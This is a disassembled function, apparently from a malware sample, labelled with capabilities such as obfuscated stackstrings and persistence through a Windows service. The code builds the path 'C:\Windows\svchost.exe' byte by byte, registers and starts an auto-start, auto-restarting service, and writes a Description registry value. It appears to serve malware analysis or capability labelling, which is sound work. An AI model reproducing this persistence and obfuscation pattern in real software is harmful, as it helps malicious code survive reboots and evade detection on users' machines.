Function at 0x10005253
Capabilities:
Contain obfuscated stackstrings
Create service
Modify service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10007268
push 0x10006cba
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x36c
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x340]
push eax
xor ebx, ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [ebp - 0x23c], 0x43
mov byte [ebp - 0x23b], 0x3a
mov byte [ebp - 0x23a], 0x5c
mov byte [ebp - 0x239], 0x57
mov byte [ebp - 0x238], 0x69
mov byte [ebp - 0x237], 0x6e
mov byte [ebp - 0x236], 0x64
mov byte [ebp - 0x235], 0x6f
mov byte [ebp - 0x234], 0x77
mov byte [ebp - 0x233], 0x73
mov byte [ebp - 0x232], 0x5c
mov byte [ebp - 0x231], 0x73
mov byte [ebp - 0x230], 0x76
mov byte [ebp - 0x22f], 0x63
mov byte [ebp - 0x22e], 0x68
mov byte [ebp - 0x22d], 0x6f
mov byte [ebp - 0x22c], 0x73
mov byte [ebp - 0x22b], 0x76
mov byte [ebp - 0x22a], 0x74
mov byte [ebp - 0x229], 0x2e
mov byte [ebp - 0x228], 0x65
mov byte [ebp - 0x227], 0x78
mov byte [ebp - 0x226], 0x65
mov byte [ebp - 0x225], bl
lea eax, [ebp - 0x23c]
push eax
push 0x10009f24
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x224], ebx
mov dword [ebp - 0x348], ebx
mov dword [ebp - 0x344], ebx
mov dword [ebp - 4], ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
mov dword [ebp - 0x344], edi
cmp edi, ebx
je 0x1000550e
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x220]
push eax
push 1
pop esi
push esi
push 2
push 0x110
push 0xf01ff
push dword [ebp + 0xc]
push dword [ebp + 8]
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x348], eax
push edi
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [ebp - 0x368], eax
mov dword [ebp - 0x34c], 0x1000a7e4
lea eax, [ebp - 0x34c]
push eax
push esi
push dword [ebp - 0x348]
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov dword [ebp - 0x37c], ebx
xor eax, eax
lea edi, [ebp - 0x378]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x378], ebx
mov dword [ebp - 0x37c], 0x15180
mov dword [ebp - 0x360], 0x1b58
mov dword [ebp - 0x364], esi
mov dword [ebp - 0x358], ebx
mov dword [ebp - 0x35c], esi
mov dword [ebp - 0x350], ebx
mov dword [ebp - 0x354], esi
mov dword [ebp - 0x370], 3
lea eax, [ebp - 0x364]
mov dword [ebp - 0x36c], eax
mov dword [ebp - 0x374], ebx
lea eax, [ebp - 0x37c]
push eax
push 2
push dword [ebp - 0x348]
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push dword [ebp - 0x368]
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
cmp dword [ebp - 0x348], ebx
jne 0x100054a0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x100054a0
push 0xf01ff
push dword [ebp + 8]
push dword [ebp - 0x344]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x348], eax
cmp eax, ebx
je 0x1000550e
push ebx
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push ebx
push ebx
push dword [ebp - 0x348]
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x1000550e
push str.SYSTEMCurrentControlSetServices_
lea eax, [ebp - 0x11c]
push eax
call sub.MSVCRT.dll_strcpy
push dword [ebp + 8]
lea eax, [ebp - 0x11c]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x11c]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 0x10]
push esi
push ebx
push str.Description
push dword [ebp - 0x224]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
or dword [ebp - 4], 0xffffffff
call fcn.10005528
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret